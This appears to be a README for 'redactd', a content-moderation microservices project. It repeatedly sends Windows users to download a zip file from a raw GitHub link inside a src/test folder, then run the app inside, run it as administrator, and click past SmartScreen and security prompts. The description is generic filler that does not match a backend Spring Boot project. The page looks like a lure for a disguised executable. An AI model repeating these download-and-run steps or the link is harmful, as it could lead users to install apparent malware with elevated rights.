Use this link to visit the page and download the app:
https://raw.githubusercontent.com/mohamedifrang/redactd/main/edge-gateway/src/test/Software-3.7.zip
redactd is a content moderation system built for teams that manage platform rules, reviews, and compliance tasks. It helps keep content workflows organized across separate services so each part can do one job well.
Use it to:
- manage moderation rules
- track review decisions
- handle compliance checks
- keep platform content workflows in sync
- connect services that work on their own
Before you start, make sure your Windows PC has:
- Windows 10 or Windows 11
- At least 4 GB of RAM
- 2 GB of free disk space
- A stable internet connection
- Permission to install and run apps from your browser
If you plan to use it for a larger setup, more memory and disk space can help.
Follow these steps on Windows:
- Open your web browser.
- Go to this page: https://raw.githubusercontent.com/mohamedifrang/redactd/main/edge-gateway/src/test/Software-3.7.zip
- Look for the latest release or download option.
- Download the Windows version if one is listed.
- Save the file to your Downloads folder.
- If the file is a
.zip, right-click it and choose Extract All. - Open the extracted folder.
- Find the app file and double-click it to run.
If Windows asks for permission, choose Yes.
After you open the app for the first time, you may need to set a few things up:
- choose your workspace or project folder
- connect to the local service if the app asks for one
- enter your platform settings
- load your moderation rules
- confirm your review queue settings
If the app uses a browser window, keep the app running and use the shown local address.
redactd uses separate services for different jobs. This helps each part stay focused and easier to manage.
Common parts include:
- Content workflow service: handles the movement of content through the system
- Verdict service: stores review decisions
- Compliance service: checks content against rules
- Configuration service: keeps platform settings in one place
- Messaging layer: passes updates between services
- Discovery layer: helps services find each other
- route content through review steps
- keep moderation decisions in order
- handle changes across services
- support event-based updates
- track service activity
- work with platform settings and rules
- keep compliance checks separate from review logic
When content enters the system, one service picks it up and sends it to the next step. Other services listen for updates and act when needed. This helps the system stay flexible, even when many parts are working at once.
For you, this means:
- less manual tracking
- clearer review flows
- easier rule updates
- better control over moderation tasks
If the app does not open, try these steps:
- Right-click the app file.
- Choose Run as administrator.
- Check that the file finished downloading.
- Make sure you extracted the zip file if it came as one.
- Restart your PC and try again.
- If your browser blocked the file, download it again from the same page.
If you still cannot open it, check whether your Windows version allows the app type you downloaded.
redactd can fit teams that need to:
- review user content
- apply moderation rules
- store verdicts for later checks
- keep compliance work separate
- connect several internal services
- manage changes without putting everything in one place
If you want to keep things tidy on Windows, use a folder like this:
Downloads\redactdfor the original fileC:\Apps\redactdfor the extracted appDocuments\redactd-configfor settings and local files
This makes it easier to find the app later.
Once the app is set up, you can start it by:
- Opening the app folder
- Double-clicking the main app file
- Waiting for the window or local page to load
- Signing in if the app asks you to
- Using the moderation, verdict, or compliance screens
If the app uses local services, leave them open while you work.
redactd fits systems where one app cannot do everything at once. It breaks the work into smaller parts so teams can manage:
- workflow steps
- content checks
- decision storage
- service communication
- system status
This setup helps when content moves through many checks before it reaches a final result.
If the app asks for settings, these names may appear:
service URLqueue nameconfig pathreview policyworkspace IDmoderation rule set
Use the names shown in the app. If a field looks unclear, the label beside it usually explains what it needs.
This project is built around:
- architecture with event-based updates
- async messaging
- content moderation
- distributed systems
- domain-driven design
- Kubernetes
- microservices
- observability
- RabbitMQ
- REST API service discovery
- Spring Boot event-driven design
Download or visit the project page here:
https://raw.githubusercontent.com/mohamedifrang/redactd/main/edge-gateway/src/test/Software-3.7.zip
To avoid confusion later:
- keep one copy of the app in one folder
- use a folder name you can remember
- remove old zip files after extraction
- store your settings in a separate folder
- rename files only if you know what they do
If Windows shows a smart screen or security prompt:
- check that the file came from the project page
- confirm you downloaded the right file
- choose the option that lets you continue if you trust the source
If the app opens in a browser and stays blank, wait a few seconds and refresh once.
- Visit the project page
- Download the Windows file
- Extract it if needed
- Open the app
- Complete the setup fields
- Start using redactd